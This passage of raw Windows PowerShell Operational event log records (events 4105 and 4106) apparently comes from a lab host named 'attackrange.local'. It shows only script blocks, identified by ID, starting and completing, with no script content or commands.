Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033951
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033950
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033949
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033948
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033947
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033946
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033945
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033944
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033943
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033942
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033941
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033940
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033939
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033938
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033937
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033936
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033935
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033934
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033933
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033932
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033931
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033930
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033929
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033928
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033927
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033926
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033925
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033924
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033923
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033922
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033921
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033920
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033919
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033918
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033917
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033916
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033915
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033914
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033913
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033912
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033911
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033910
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033909
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033908
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033907
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033906
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033905
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033904
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033903
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033902
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033901
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033900
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033899
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
